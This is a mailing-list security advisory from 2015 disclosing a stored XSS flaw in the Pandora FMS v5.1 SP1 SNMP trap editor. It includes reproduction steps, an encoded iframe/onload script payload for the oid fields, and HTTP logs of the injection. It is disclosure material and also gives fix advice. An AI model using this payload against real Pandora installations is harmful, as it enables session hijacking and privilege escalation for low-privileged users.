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Pandora FMS v5.1 SP1 - Persistent SNMP Editor Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Pandora FMS v5.1 SP1 - Persistent SNMP Editor Vulnerability
- From: "admin@xxxxxxxxxxxxxxxxx" <admin@xxxxxxxxxxxxxxxxx>
- Date: Fri, 16 Jan 2015 13:04:24 +0100
Document Title:
===============
Pandora FMS v5.1 SP1 - Persistent SNMP Editor Vulnerability
References (Source):
====================
http://vulnerability-lab.com/get_content.php?id=1356
Release Date:
=============
2015-01-14
Vulnerability Laboratory ID (VL-ID):
====================================
1356
Common Vulnerability Scoring System:
====================================
3.4
Product & Service Introduction:
===============================
Pandora FMS is a monitoring Open Source software. It watches your systems and
applications, and allows you to
know the status of any element of those systems. Pandora FMS could detect a
network interface down, a defacement
in your website, a memory leak in one of your server application, or the
movement of any value of the NASDAQ
new technology market.
* Detect new systems in network.
* Checks for availability or performance.
* Raise alerts when something goes wrong.
* Allow to get data inside systems with its own lite agents (for almost
every Operating System).
* Allow to get data from outside, using only network probes. Including SNMP.
* Get SNMP Traps from generic network devices.
* Generate real time reports and graphics.
* SLA reporting.
* User defined graphical views.
* Store data for months, ready to be used on reporting.
* Real time graphs for every module.
* High availability for each component.
* Scalable and modular architecture.
* Supports up to 2500 modules per server.
* User defined alerts. Also could be used to react on incidents.
* Integrated incident manager.
* Integrated DB management: purge and DB compaction.
* Multiuser, multi profile, multi group.
* Event system with user validation for operation in teams.
* Granularity of accesses and user profiles for each group and each user.
* Profiles could be personalized using up to eight security attributes
without limitation on groups or profiles.
Pandora FMS runs on any operating system, with specific agents for each
platform, gathering data and sending it to a
server, it has specific agents for GNU/Linux, AIX, Solaris, HP-UX, BSD/IPSO,
and Windows 2000, XP and 2003.
(Copy of the Vendor Homepage:
http://pandorafms.org/index.php?sec=project&sec2=home&lang=en)
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent web
vulnerability in the official Pandora FMS v5.1 SP1 monitoring web-application.
Vulnerability Disclosure Timeline:
==================================
2015-01-14: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Artica Sulociones Tecnologicas
Product: Pandora FMS - Monitoring Web Application 5.1 SP1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered in
the official Pandora FMS v5.1 SP1 monitoring web-application.
The vulnerability allows an attacker to inject own script code as payload to
the application-side of the vulnerable service function or module.
The vulnerability is located in the `oid` and `custom_oid` value of the `snmp
trap editor` module. Remote attackers with low privileged user accounts
are able to manipulate the create POST method request of the `snmp trap editor`
module to compromise user session information. The attack vector is
persistent on the application-side and the request method to inject is POST.
The issue allows to stream persistent malicious script codes to the
front site of the `snmp trap editor` module were the `item context` becomes
visible as list. Local low privileged application user accounts with
access to the snmp editor can inject own malicious script code to steal session
information of a higher privileged monitoring application user account.
The security risk of the application-side web vulnerability is estimated as
medium with a cvss (common vulnerability scoring system) count of 3.4.
Exploitation of the application-side web vulnerability requires a low
privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerabilities result in persistent phishing
mails, session hijacking, persistent external redirect to malicious
sources and application-side manipulation of affected or connected module
context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] SNMP > SNMP Trap Editor
Vulnerable Parameter(s):
[+] oid
[+] custom_oid
Affected Module(s):
[+] SNMP Trap Editor - Index
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote
attackers with low privileged application user accounts
and low user interaction. For security demonstration or to reproduce the
vulnerability follow the provided information and steps
below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the pandora fms web-application and login with a low privileged user
account that is allowed to access the monitoring snmp editor module
2. Surf to the SNMP > SNMP trap editor
3. Create a new entry to inject own payloads with script code to the OID &
Customer OID input fields
4. Save the input
Note: The monitoring service refreshs to list after the POST method request to
add and displays the stored items of the snmp trap editor
5. The execution occurs of the injected script code occurs on the
application-side of the service in the item output listing of the
snmp_trap_editor
6. Successful reproduce of the security vulnerability!
Payload: (SNMP trap editor - Create)
oid=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C
&custom_oid=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C">"
><iframe src="a" onload="alert("VL")" <="" "=""><iframe src=a
>onload=alert("VL") <
PoC: Exploit (SNMP trap editor - After the Create)
<table style="width:98%;" class="databox" id="table3" border="0"
cellpadding="4" cellspacing="4"><thead><tr><th class="header c0"
scope="col">OID</th><th class="header c1" scope="col">Custom OID</th><th
class="header c2" scope="col">Severity</th><th class="header c3"
scope="col">Text</th><th class="header c4" scope="col">Description</th><th
class="header c5" scope="col">Actions</th></tr></thead>
<tbody>
<tr id="table3-0" style="" class="datos2">
<td id="table3-0-0" style="" class="datos2 "><a
href="index.php?sec=estado&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor_form&
oid=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C&
custom_oid=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C">"
><iframe src="a" onload="alert("VL")" <="" "=""><iframe src=a
>onload=alert("VL") <</a></td>
<td id="table3-0-1" style="" class="datos2 ">
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST
http://fms.localhost:8080/pandora/index.php?sec=snmpconsole&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor_form
Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Größe des Inhalts[-1] Mime Type[text/html]
Request Header:
Host[fms.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor&delete_trap=1&id=-1%27]
Cookie[PHPSESSID=21dq3ua37bcjcibptdn8uonk76]
Connection[keep-alive]
Cache-Control[max-age=0]
POST-Daten:
add_trap[1]
crt[Create]
Response Header:
Date[Mon, 17 Nov 2014 00:38:29 GMT]
Server[Apache/2.2.15 (CentOS)]
X-Powered-By[PHP/5.3.3]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0,
pre-check=0]
Pragma[no-cache]
Set-Cookie[=deleted; expires=Sun, 17-Nov-2013 00:38:29 GMT; path=/
clippy=deleted; expires=Sun, 17-Nov-2013 00:38:29 GMT
=deleted; expires=Sun, 17-Nov-2013 00:38:29 GMT; path=/
clippy=deleted; expires=Sun, 17-Nov-2013 00:38:29 GMT]
Connection[close]
Transfer-Encoding[chunked]
Content-Type[text/html; charset=UTF-8]
-
Status: 200[OK]
POST
http://fms.localhost:8080/pandora/index.php?sec=snmpconsole&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des
Inhalts[-1] Mime Type[text/html]
Request Header:
Host[fms.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://fms.localhost:8080/pandora/index.php?sec=snmpconsole&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor_form]
Cookie[PHPSESSID=21dq3ua37bcjcibptdn8uonk76]
Connection[keep-alive]
POST-Daten:
oid[%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C+%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C]
custom_oid[%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C]
severity[2]
text[%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C+++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C]
description[%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C]
add_trap[1]
submit[Create]
Response Header:
Date[Mon, 17 Nov 2014 00:40:05 GMT]
Server[Apache/2.2.15 (CentOS)]
X-Powered-By[PHP/5.3.3]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0,
pre-check=0]
Pragma[no-cache]
Set-Cookie[=deleted; expires=Sun, 17-Nov-2013 00:40:05 GMT; path=/
clippy=deleted; expires=Sun, 17-Nov-2013 00:40:05 GMT
=deleted; expires=Sun, 17-Nov-2013 00:40:05 GMT; path=/
clippy=deleted; expires=Sun, 17-Nov-2013 00:40:05 GMT]
Connection[close]
Transfer-Encoding[chunked]
Content-Type[text/html; charset=UTF-8]
-
Status: 200[OK]
GET http://fms.localhost:8080/pandora/%22%3E%3C[PERSISTENT INJECTED SCRIPT
CODE!]
Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[295] Mime Type[text/html]
Request Header:
Host[fms.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://fms.localhost:8080/pandora/index.php?sec=snmpconsole&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor]
Cookie[PHPSESSID=21dq3ua37bcjcibptdn8uonk76]
Connection[keep-alive]
Response Header:
Date[Mon, 17 Nov 2014 00:40:07 GMT]
Server[Apache/2.2.15 (CentOS)]
Content-Length[295]
Connection[close]
Content-Type[text/html; charset=iso-8859-1]
Reference(s):
http://fms.localhost:8080/pandora/index.php?sec=snmpconsole&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor_form
http://fms.localhost:8080/pandora/index.php?sec=snmpconsole&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor
http://fms.localhost:8080/pandora/
Solution - Fix & Patch:
=======================
The security vulnerability can be patched by a secure restriction or filtering
of the OID and customer OID input fields.
Encode and parse the input field context to prevent persistent execution of
script code through the vulnerable snmp editor module.
Security Risk:
==============
The security risk of the application-side input validation web vulnerability in
the pandora interface is estimated as medium.
Lower privileged application user accounts are able to inject the code to steal
session information and gain higher application access privileges.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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